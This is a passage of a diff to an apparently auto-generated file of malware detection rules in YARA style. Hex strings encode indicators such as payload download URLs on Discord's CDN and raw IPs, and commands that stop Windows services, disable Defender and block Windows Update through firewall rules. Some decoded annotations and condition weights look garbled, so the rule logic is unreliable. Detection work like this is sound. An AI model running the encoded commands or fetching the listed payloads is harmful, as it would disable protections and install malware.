66 72 65 65 20 70 6c 75 67 69 6e 20 6f 6e 65 01 00 11 01 66 72 65 65 20 70 6c 75 67 69 6e 20 63 6c 65 61 72 01 00 1c 01 44 69 73 70 61 74 63 68 43 6f 6d 6d 61 6e 64 20 55 6e 6b 6e 6f 77 6e 20 63 6d 64 20 01 00 15 01 44 69 73 70 61 74 63 68 43 6f 6d 6d 61 6e 64 20 74 72 75 65 20 01 00 0f 01 74 63 70 43 6c 69 65 6e } //30051 + $a_6c_4 = {73 65 01 00 14 01 20 43 6c 6f 73 65 20 66 75 6e 63 20 66 69 6e 69 73 68 65 64 01 00 0a 01 00 44 65 6c 61 79 2e 2e 2e 00 01 00 0f 01 00 43 6c 69 65 6e 74 3a 3a 44 65 6c 61 79 00 01 00 15 01 57 72 69 74 } //8308 + $a_73_5 = {6f 6e 73 65 20 66 75 6e 63 2e 2e 2e 01 00 15 01 43 6c 69 65 6e 74 3a 3a 57 72 69 74 65 52 65 73 70 6f 6e 73 65 01 00 12 01 5f 74 63 70 43 6c 69 65 6e 74 20 6e 75 6c 6c 2e 2e 2e 01 00 0d 01 6c 6f 61 64 20 66 75 6e 63 20 2e 2e 2e 01 00 19 01 43 6c 69 65 6e 74 3a 3a 50 72 6f 63 65 73 73 4c 6f 61 64 4d 6f } //21093 + $a_65_6 = {00 09 01 00 62 61 73 65 2e 2e 2e 00 01 00 1b 01 4d 65 6d 6f 72 79 4c 6f 61 64 4c 69 62 72 61 72 79 20 46 61 69 6c 65 64 2e 2e 2e 01 00 19 01 4d 65 6d 6f 72 79 4c 6f 61 64 4c 69 62 72 61 72 79 20 73 75 63 63 2e 2e 2e 01 00 11 01 57 72 69 74 65 52 65 73 70 6f 6e 73 65 20 2e 2e 2e 01 00 15 01 57 72 69 74 65 52 65 73 70 6f 6e } //30052 + $a_73_7 = {63 63 2e 2e 2e 01 00 18 01 50 72 6f 63 65 73 73 45 78 65 63 75 74 69 6f 6e 20 66 75 6e 63 2e 2e } //25971 + $a_76_9 = {66 61 6c 73 65 2e 2e 2e 01 00 11 01 65 78 65 20 66 75 6e 63 20 66 61 6c 73 65 2e 2e 2e 01 00 0d 01 65 78 65 20 66 75 6e 63 20 69 6e 67 20 01 00 09 01 65 78 65 20 66 75 6e 63 20 01 00 0d 01 65 78 65 20 46 69 6e 69 73 68 65 64 20 01 00 14 01 44 65 6c 65 74 65 53 70 65 63 69 66 79 48 61 6e 64 } //25345 + $a_01_10 = {00 20 01 20 50 72 6f 63 65 73 73 45 78 65 63 75 74 69 6f 6e 20 57 72 69 74 65 52 65 73 70 6f 6e } //25964 + $a_01_11 = {00 14 01 20 47 65 74 43 6c 69 65 6e 74 43 6f 6e 6e 65 63 74 65 64 20 01 00 20 01 50 72 6f 63 65 } //25971 + $a_78_12 = {63 75 74 69 6f 6e 20 57 72 69 74 65 52 65 73 70 6f 6e 73 65 32 20 01 00 0f 01 00 45 78 74 65 6e 73 69 6f 6e 4d 61 69 6e 00 01 00 14 01 50 72 6f 63 65 73 73 45 78 65 63 75 74 65 4d 6f 64 75 6c 65 01 00 1c 01 } //29555 + $a_65_13 = {74 3a 3a 50 72 6f 63 65 73 73 45 78 65 63 75 74 65 4d 6f 64 75 6c 65 01 00 15 01 64 6f 6e 68 61 76 65 20 57 72 69 74 65 52 65 73 70 6f 6e 73 65 01 00 0a 01 00 68 61 76 65 20 65 78 65 00 01 00 09 01 00 63 61 76 20 65 78 65 00 01 00 0c 01 00 74 68 72 65 61 64 20 65 78 65 00 01 00 09 01 4d 4b 43 4d 48 56 43 54 55 01 } //27715 + $a_53_14 = {41 } //4352 A + $a_4c_15 = {61 64 6c 69 62 72 61 72 79 01 00 14 01 4c 6f 61 64 6c 69 62 72 61 72 79 20 46 69 6e 69 73 68 65 } //21586 摡楬牢牡Ź᐀䰁慯汤扩慲祲䘠湩獩敨 + $a_20_17 = {69 6e 69 73 68 65 64 28 75 6e 72 65 61 63 68 61 62 6c 65 29 01 00 16 01 54 63 70 43 6c 69 65 6e 74 3a 3a 57 69 6e 73 6f 63 6b 49 6e 69 74 01 00 16 01 00 54 63 70 43 6c 69 65 6e 74 3a 3a 54 63 70 43 6c 69 65 6e 74 00 01 00 13 01 00 54 63 70 43 6c 69 65 6e 74 3a 3a 53 65 74 4b 65 79 00 01 00 0c 01 00 50 75 6c 73 65 20 66 75 6e 63 } //30034 + $a_6c_19 = {69 6e 67 20 53 6c 65 65 70 01 00 0f 01 50 75 6c 73 69 6e 67 20 66 69 6e 69 73 68 64 01 00 13 01 54 63 70 43 6c 69 65 6e 74 3a 3a 43 6f 6e 6e 6e 65 63 74 01 00 15 01 57 69 6e 73 6f 63 6b 49 6e 69 74 20 20 66 69 6e 69 73 68 65 64 01 00 19 01 57 69 6e 73 6f 63 6b 49 6e 69 74 20 67 65 74 68 6f 73 74 62 79 6e 61 6d 65 01 00 10 01 00 73 74 61 72 74 20 72 } //20481 + $a_69_20 = {67 20 00 01 00 0e 01 00 74 68 72 65 61 64 20 50 75 6c 73 65 00 01 00 12 01 00 54 63 70 43 6c 69 65 6e 74 3a 3a 43 6c 6f 73 65 00 01 00 12 01 57 72 69 74 65 49 6e 74 65 72 6e 61 6c 20 66 75 6e 63 01 00 18 01 54 63 70 43 6c 69 65 6e 74 3a 3a 57 72 69 74 65 49 6e 74 65 72 6e 61 6c 01 00 1a 01 57 72 69 74 65 49 6e 74 65 72 6e 61 6c } //28277 + $a_6c_21 = {20 72 65 74 75 72 6e 20 01 00 15 01 47 65 74 47 61 72 62 61 67 65 20 66 69 6e 69 73 68 65 64 20 20 00 00 78 40 06 00 47 00 47 00 14 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 52 50 30 34 30 31 32 32 21 45 4d 4c 00 0a 00 18 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 44 00 61 00 } //28192 + $a_00_22 = {01 00 74 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 39 00 32 00 30 00 34 00 31 00 30 00 34 00 32 } //116 + $a_00_24 = {37 00 33 00 35 00 37 00 30 00 39 00 2f 00 01 00 60 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 77 00 77 00 77 00 2e 00 6a 00 73 00 2d 00 68 00 75 00 } //50 + $a_00_25 = {69 00 6e 00 67 00 2e 00 63 00 6f 00 6d 00 2f 00 73 00 6a 00 69 00 6f 00 6e 00 66 00 2f 00 43 00 6f 00 6e 00 73 00 6f 00 6c 00 65 00 41 00 70 00 70 00 32 00 2e 00 6a 00 70 00 67 00 01 00 74 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 } //114 + $a_00_26 = {6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 38 00 34 00 37 00 38 00 39 00 30 00 31 00 32 00 37 00 38 00 35 00 30 00 30 00 34 00 35 00 34 00 38 00 33 00 2f 00 01 00 74 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 } //46 + $a_00_28 = {64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 38 00 38 00 38 00 34 00 37 00 33 00 30 00 35 00 31 00 30 00 35 00 36 00 39 00 38 00 34 00 30 00 39 00 38 00 2f 00 01 00 40 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 74 00 61 00 73 00 6b 00 6d 00 67 00 72 00 64 00 } //111 + $a_00_29 = {2e 00 63 00 6f 00 6d 00 2f 00 64 00 6f 00 77 00 6e 00 2f 00 31 00 2e 00 6a 00 70 00 67 00 01 00 74 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 39 00 32 00 34 00 } //101 + $a_00_30 = {37 00 33 00 33 00 36 00 36 00 30 00 38 00 38 00 38 00 32 00 36 00 38 00 39 00 2f 00 01 00 74 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 } //48 + $a_00_31 = {73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 39 00 31 00 36 00 31 00 33 00 37 00 34 00 31 00 30 00 33 00 30 00 32 00 32 00 31 00 30 00 30 00 38 00 30 00 2f 00 01 00 40 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f } //100 + $a_00_33 = {34 00 33 00 2e 00 34 00 34 00 2e 00 34 00 35 00 2f 00 63 00 68 00 61 00 6d 00 70 00 69 00 6f 00 6e 00 2e 00 62 00 69 00 6e 00 01 00 74 00 68 00 74 00 } //46 + $a_00_34 = {73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 38 00 36 00 36 00 33 00 35 00 31 00 39 00 37 00 34 00 34 00 36 00 36 00 39 00 37 00 37 00 38 00 33 00 35 00 2f 00 01 00 74 00 } //116 + $a_00_35 = {74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 39 00 32 00 33 00 39 00 31 00 35 00 39 00 38 00 30 00 39 00 30 00 36 00 38 00 34 00 34 00 32 00 30 00 34 00 2f 00 01 00 80 00 } //104 + $a_00_36 = {74 00 70 00 73 00 3a 00 2f 00 2f 00 75 00 64 00 62 00 6f 00 78 00 65 00 73 00 2e 00 63 00 6f 00 6d 00 2f 00 73 00 65 00 72 00 76 00 65 00 72 00 2f 00 66 00 69 00 6c 00 65 00 2f 00 69 00 6d 00 61 00 67 00 65 00 2f 00 75 00 64 00 62 00 5f 00 36 00 31 00 63 00 37 00 34 00 61 00 61 00 64 00 30 00 36 00 30 00 31 00 38 00 5f 00 6d 00 65 00 32 00 2e 00 } //104 tps://udboxes.com/server/file/image/udb_61c74aad06018_me2. + $a_00_37 = {65 00 67 00 01 00 74 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 38 00 37 00 35 00 35 00 32 00 37 00 37 00 33 00 36 00 34 00 36 00 30 00 39 00 } //106 + $a_00_38 = {30 00 37 00 32 00 2f 00 01 00 28 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 39 00 31 00 2e 00 32 00 34 00 33 00 2e 00 34 00 34 00 2e 00 32 00 32 00 } //55 + $a_00_39 = {0c 00 44 00 6f 00 57 00 6f 00 } //47 + $a_00_40 = {0a 00 4d 02 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 46 00 6f 00 72 00 6d 00 73 00 41 00 70 00 70 00 90 02 07 2e 00 50 00 72 00 6f 00 70 00 65 00 72 00 74 00 69 00 65 00 73 00 2e 00 52 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 73 00 90 00 0a 00 09 01 57 72 69 74 65 4c 69 6e 65 0a 00 09 01 57 65 62 43 6c 69 65 6e 74 } //114 + $a_01_41 = {52 65 76 65 72 73 65 } //10 Reverse + $a_01_42 = {49 6e 76 6f 6b 65 } //10 Invoke + $a_46_43 = {00 0a 00 0a 00 15 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 44 65 73 74 72 6f 79 57 69 6e 64 6f 77 73 31 30 53 70 79 69 6e 67 00 0a 00 28 01 44 00 65 00 73 00 74 00 72 00 6f 00 79 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 53 00 70 00 79 00 69 00 6e 00 67 00 01 00 24 01 6e 00 65 00 74 00 20 00 73 00 74 00 6f 00 70 00 20 00 44 00 69 00 61 00 67 00 54 00 72 } //0 + $a_00_45 = {62 } //107 b + $a_00_47 = {73 00 74 00 6f 00 70 00 20 00 64 00 69 00 61 00 67 00 6e 00 6f 00 73 00 74 00 69 00 63 00 73 00 } //116 stop diagnostics + $a_00_48 = {62 00 2e 00 73 00 74 00 61 00 6e 00 64 00 61 00 72 00 64 00 63 00 6f 00 6c 00 6c 00 65 00 63 00 74 00 6f 00 72 00 2e 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 01 00 32 01 6e 00 65 00 74 00 20 00 73 00 74 00 6f 00 70 00 20 00 64 00 6d 00 77 00 61 00 70 00 70 00 75 00 73 00 68 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 01 00 2c 01 6e 00 65 00 74 } //104 + $a_00_50 = {70 00 20 00 57 00 4d 00 50 00 4e 00 65 00 74 00 77 00 6f 00 72 00 6b 00 53 00 76 00 63 00 01 00 44 01 73 00 63 00 20 00 63 00 6f 00 6e 00 66 00 69 00 67 00 20 00 44 00 69 00 61 00 67 00 54 00 72 00 61 00 63 00 6b 00 20 00 73 00 74 00 61 00 72 00 74 00 3d 00 64 00 69 00 73 00 61 00 62 00 6c 00 65 00 64 00 01 00 82 01 73 00 63 00 20 } //116 + $a_00_52 = {69 00 67 00 20 00 64 00 69 00 61 00 67 00 6e 00 6f 00 73 00 74 00 69 00 63 00 73 00 68 00 75 00 62 00 2e 00 73 00 74 00 61 00 6e 00 64 00 61 00 72 00 64 00 63 00 6f 00 6c 00 6c 00 65 00 63 00 74 00 6f 00 72 00 2e 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 20 00 73 00 74 00 61 00 72 00 74 00 3d 00 64 00 } //110 ig diagnosticshub.standardcollector.service start=d + $a_00_53 = {61 00 62 00 6c 00 65 00 64 00 01 00 52 01 73 00 63 00 20 00 63 00 6f 00 6e 00 66 00 69 00 67 00 20 00 64 00 6d 00 77 00 61 00 70 00 70 00 75 00 73 00 68 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 20 00 73 00 74 00 61 00 72 00 74 00 3d 00 64 00 69 00 73 00 61 00 62 00 6c 00 65 00 64 00 01 00 4c 01 73 00 63 00 20 00 63 00 6f 00 6e 00 66 00 69 } //105 + $a_00_55 = {50 00 4e 00 65 00 74 00 77 00 6f 00 72 00 6b 00 53 00 76 00 63 00 20 00 73 00 74 00 61 00 72 00 74 00 3d 00 64 00 69 00 73 00 61 00 62 00 6c 00 65 00 64 00 01 00 24 01 6e 00 65 00 74 00 20 00 73 00 74 00 6f 00 70 00 20 00 64 00 69 } //87 + $a_00_57 = {61 00 63 00 6b 00 01 00 2c 01 73 00 63 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 64 00 6d 00 77 00 61 00 70 00 70 00 75 00 73 00 68 00 73 00 76 00 63 00 01 00 4e 01 73 00 63 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 22 00 44 00 69 00 61 00 67 00 6e 00 6f 00 73 00 74 00 69 00 63 00 73 00 20 00 54 00 72 00 61 00 63 00 6b 00 } //116 + $a_00_58 = {67 00 20 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 01 00 26 01 73 00 63 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 64 00 69 00 61 00 67 00 74 00 72 00 61 00 63 00 6b 00 01 00 2a 01 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 20 00 73 00 6d 00 61 00 72 00 74 00 20 00 73 00 63 00 72 00 65 00 65 00 6e 00 2e 00 01 00 30 01 } //105 + $a_00_59 = {73 00 61 00 62 00 6c 00 65 00 20 00 70 00 72 00 69 00 76 00 61 00 74 00 65 00 20 00 73 00 65 00 74 00 74 00 69 00 6e 00 67 00 73 00 01 00 24 01 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 41 00 6e 00 74 00 69 00 53 00 70 00 79 00 77 00 61 00 72 00 65 00 01 00 32 01 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 20 00 57 } //68 + $a_00_61 = {77 00 73 00 20 00 44 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 2e 00 01 00 84 01 2f 00 63 00 20 00 6e 00 65 00 74 00 73 00 68 00 20 00 61 00 64 00 76 00 66 00 69 00 72 00 65 00 77 00 61 00 6c 00 6c 00 20 00 66 00 69 00 72 00 65 00 77 00 61 00 6c 00 6c 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 72 00 75 00 6c 00 65 00 20 } //100 + $a_00_63 = {3d 00 22 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 55 00 70 00 64 00 61 00 74 00 65 00 42 00 6c 00 6f 00 63 00 6b 00 01 00 e8 01 2f 00 63 00 20 00 6e 00 65 00 74 00 73 00 68 00 20 00 61 00 64 00 76 00 66 00 69 00 72 00 65 00 77 00 61 00 6c 00 6c 00 20 00 66 00 69 00 72 00 65 00 77 00 61 00 6c 00 6c } //109 + $a_00_65 = {20 00 72 00 75 00 6c 00 65 00 20 00 6e 00 61 00 6d 00 65 00 3d 00 22 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 55 00 70 00 64 00 61 00 74 00 65 00 42 00 6c 00 6f 00 63 00 6b 00 22 00 20 00 64 00 69 00 72 00 3d 00 6f 00 75 00 74 00 20 00 69 00 6e 00 74 00 65 00 72 00 66 00 61 00 63 00 65 00 3d 00 } //100 rule name="WindowsUpdateBlock" dir=out interface= + $a_00_66 = {79 00 20 00 61 00 63 00 74 00 69 00 6f 00 6e 00 3d 00 62 00 6c 00 6f 00 63 00 6b 00 20 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 3d 00 77 00 75 00 61 00 75 00 73 00 65 00 72 00 76 00 01 00 54 01 2f 00 63 00 20 00 74 00 61 00 73 00 6b 00 6b 00 69 00 6c 00 6c 00 20 00 2f 00 66 00 20 00 2f 00 69 00 6d 00 20 00 4f 00 6e 00 65 00 } //97 + $a_00_67 = {69 00 76 00 65 00 2e 00 65 00 78 00 65 00 20 00 3e 00 20 00 4e 00 55 00 4c 00 20 00 32 00 3e 00 26 00 31 00 01 00 20 01 52 00 65 00 6d 00 6f 00 76 00 65 00 20 00 75 00 70 00 64 00 61 00 74 00 65 00 20 00 4b 00 42 00 00 00 0a 00 78 4d 06 00 18 00 18 00 17 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 43 6f 72 65 49 } //68 + condition: + ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*-184+(#a_6c_2 & 1)*25632+(#a_65_3 & 1)*30051+(#a_6c_4 & 1)*8308+(#a_73_5 & 1)*21093+(#a_65_6 & 1)*30052+(#a_73_7 & 1)*25971+(#a_76_9 & 1)*25345+(#a_01_10 & 1)*25964+(#a_01_11 & 1)*25971+(#a_78_12 & 1)*29555+(#a_65_13 & 1)*27715+(#a_53_14 & 1)*4352+(#a_4c_15 & 1)*21586+(#a_20_17 & 1)*30034+(#a_6c_19 & 1)*20481+(#a_69_20 & 1)*28277+(#a_6c_21 & 1)*28192+(#a_00_22 & 1)*116+(#a_00_24 & 1)*50+(#a_00_25 & 1)*114+(#a_00_26 & 1)*46+(#a_00_28 & 1)*111+(#a_00_29 & 1)*101+(#a_00_30 & 1)*48+(#a_00_31 & 1)*100+(#a_00_33 & 1)*46+(#a_00_34 & 1)*116+(#a_00_35 & 1)*104+(#a_00_36 & 1)*104+(#a_00_37 & 1)*106+(#a_00_38 & 1)*55+(#a_00_39 & 1)*47+(#a_00_40 & 1)*114+(#a_01_41 & 1)*10+(#a_01_42 & 1)*10+(#a_46_43 & 1)*0+(#a_00_45 & 1)*107+(#a_00_47 & 1)*116+(#a_00_48 & 1)*104+(#a_00_50 & 1)*116+(#a_00_52 & 1)*110+(#a_00_53 & 1)*105+(#a_00_55 & 1)*87+(#a_00_57 & 1)*116+(#a_00_58 & 1)*105+(#a_00_59 & 1)*68+(#a_00_61 & 1)*100+(#a_00_63 & 1)*109+(#a_00_65 & 1)*100+(#a_00_66 & 1)*97+(#a_00_67 & 1)*68) >=7 + +} +rule _InfrastructureShared_21771{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,47 00 47 00 14 00 21 " @@ -264595,7 +280126,7 @@ rule _InfrastructureShared_20545{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*47+(#a_00_4 & 1)*116+(#a_00_5 & 1)*46+(#a_00_6 & 1)*112+(#a_00_8 & 1)*47+(#a_00_11 & 1)*116+(#a_00_12 & 1)*116+(#a_00_13 & 1)*116+(#a_00_14 & 1)*97+(#a_00_15 & 1)*97+(#a_00_16 & 1)*102+(#a_00_18 & 1)*100) >=71 } -rule _InfrastructureShared_20546{ +rule _InfrastructureShared_21772{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 15 00 21 " @@ -264618,7 +280149,7 @@ rule _InfrastructureShared_20546{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*116+(#a_00_4 & 1)*118+(#a_00_6 & 1)*115+(#a_00_8 & 1)*105+(#a_00_10 & 1)*110+(#a_00_11 & 1)*116+(#a_00_13 & 1)*115+(#a_00_14 & 1)*114+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1) >=10 } -rule _InfrastructureShared_20547{ +rule _InfrastructureShared_21773{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,18 00 18 00 17 00 21 " @@ -264649,7 +280180,7 @@ rule _InfrastructureShared_20547{ ((#a_46_0 & 1)*16675+(#a_31_1 & 1)*12338+(#a_01_2 & 1)*-28624+(#a_00_3 & 1)*14637+(#a_09_4 & 1)*6544+(#a_2d_5 & 1)*31277+(#a_00_6 & 1)*144+(#a_2e_7 & 1)*26222+(#a_00_9 & 1)*100+(#a_2d_10 & 1)*2305+(#a_61_11 & 1)*281+(#a_03_12 & 1)*3+(#a_03_13 & 1)*3+(#a_03_14 & 1)*3+(#a_03_15 & 1)*3+(#a_03_16 & 1)*3+(#a_03_17 & 1)*3+(#a_03_18 & 1)*3+(#a_03_19 & 1)*3+(#a_03_20 & 1)*3+(#a_03_21 & 1)*3+(#a_03_22 & 1)*3) >=24 } -rule _InfrastructureShared_20548{ +rule _InfrastructureShared_21774{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 12 00 21 " @@ -264672,7 +280203,7 @@ rule _InfrastructureShared_20548{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*67+(#a_00_4 & 1)*83+(#a_90_5 & 1)*11568+(#a_01_6 & 1)*-28579+(#a_00_7 & 1)*14637+(#a_00_8 & 1)*92+(#a_00_9 & 1)*46+(#a_01_10 & 1)*-28672+(#a_00_12 & 1)*101+(#a_41_13 & 1)*11568+(#a_2d_14 & 1)*14637+(#a_09_16 & 1)*11408+(#a_2d_17 & 1)*14637) >=4 } -rule _InfrastructureShared_20549{ +rule _InfrastructureShared_21775{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1c 00 1c 00 1c 00 21 " @@ -264708,7 +280239,7 @@ rule _InfrastructureShared_20549{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*24423+(#a_41_2 & 1)*24428+(#a_6d_3 & 1)*29811+(#a_6e_4 & 1)*27758+(#a_73_5 & 1)*29230+(#a_4c_6 & 1)*11885+(#a_01_7 & 1)*25955+(#a_44_8 & 1)*21072+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_03_20 & 1)*1+(#a_62_21 & 1)*0+(#a_2d_23 & 1)*32612+(#a_4d_24 & 1)*12131+(#a_2d_25 & 1)*16740+(#a_7f_26 & 1)*17473+(#a_01_27 & 1)*8562) >=28 } -rule _InfrastructureShared_20550{ +rule _InfrastructureShared_21776{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 41 00 21 " @@ -264773,7 +280304,7 @@ rule _InfrastructureShared_20550{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*11892+(#a_72_2 & 1)*14946+(#a_4f_3 & 1)*27469+(#a_21_4 & 1)*28218+(#a_72_5 & 1)*14946+(#a_4f_6 & 1)*27469+(#a_21_7 & 1)*28218+(#a_72_8 & 1)*14946+(#a_4f_9 & 1)*27469+(#a_21_10 & 1)*28218+(#a_72_11 & 1)*14946+(#a_4f_12 & 1)*27469+(#a_21_13 & 1)*28218+(#a_72_14 & 1)*14946+(#a_4f_15 & 1)*27469+(#a_00_16 & 1)*67+(#a_00_17 & 1)*110+(#a_00_19 & 1)*115+(#a_00_21 & 1)*32+(#a_43_23 & 1)*18944+(#a_00_25 & 1)*110+(#a_2c_26 & 1)*116+(#a_00_27 & 1)*76+(#a_00_29 & 1)*116+(#a_00_31 & 1)*102+(#a_64_32 & 1)*29301+(#a_39_33 & 1)*12378+(#a_00_35 & 1)*111+(#a_00_36 & 1)*32+(#a_00_38 & 1)*116+(#a_5a_39 & 1)*16697+(#a_00_41 & 1)*67+(#a_2c_42 & 1)*101+(#a_69_43 & 1)*12082+(#a_01_44 & 1)*1+(#a_01_45 & 1)*1+(#a_01_46 & 1)*1+(#a_01_47 & 1)*1+(#a_01_48 & 1)*1+(#a_01_49 & 1)*1+(#a_01_50 & 1)*1+(#a_01_51 & 1)*1+(#a_01_52 & 1)*1+(#a_01_53 & 1)*1+(#a_01_54 & 1)*1+(#a_01_55 & 1)*1+(#a_01_56 & 1)*1+(#a_01_57 & 1)*1+(#a_01_58 & 1)*1+(#a_01_59 & 1)*1+(#a_01_60 & 1)*1+(#a_01_61 & 1)*1+(#a_01_62 & 1)*1+(#a_01_63 & 1)*1+(#a_01_64 & 1)*1) >=2 } -rule _InfrastructureShared_20551{ +rule _InfrastructureShared_21777{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0e 00 21 " @@ -264792,7 +280323,7 @@ rule _InfrastructureShared_20551{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*67+(#a_00_4 & 1)*32+(#a_00_6 & 1)*107+(#a_00_8 & 1)*116+(#a_00_9 & 1)*46+(#a_2c_10 & 1)*2+(#a_61_11 & 1)*8302+(#a_00_12 & 1)*40+(#a_5a_13 & 1)*16697) >=2 } -rule _InfrastructureShared_20552{ +rule _InfrastructureShared_21778{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 4f 00 21 " @@ -264867,7 +280398,7 @@ rule _InfrastructureShared_20552{ ((#a_4c_0 & 1)*21539+(#a_53_1 & 1)*4096+(#a_74_2 & 1)*25970+(#a_65_3 & 1)*28493+(#a_65_4 & 1)*29254+(#a_6c_5 & 1)*18036+(#a_4d_6 & 1)*27753+(#a_61_7 & 1)*26996+(#a_65_8 & 1)*24147+(#a_65_10 & 1)*24147+(#a_65_11 & 1)*25964+(#a_43_13 & 1)*21249+(#a_79_14 & 1)*17246+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_8a_33 & 1)*0+(#a_72_34 & 1)*2304+(#a_69_35 & 1)*25439+(#a_5f_37 & 1)*28673+(#a_6f_38 & 1)*29545+(#a_5d_39 & 1)*11568+(#a_64_40 & 1)*24833+(#a_69_41 & 1)*25452+(#a_73_42 & 1)*28021+(#a_73_43 & 1)*25955+(#a_01_44 & 1)*28532+(#a_01_45 & 1)*29295+(#a_65_46 & 1)*28716+(#a_64_47 & 1)*25971+(#a_75_48 & 1)*24948+(#a_6f_49 & 1)*6144+(#a_66_50 & 1)*25200+(#a_00_51 & 1)*8295+(#a_00_53 & 1)*69+(#a_00_55 & 1)*55+(#a_00_57 & 1)*54+(#a_00_59 & 1)*56+(#a_00_61 & 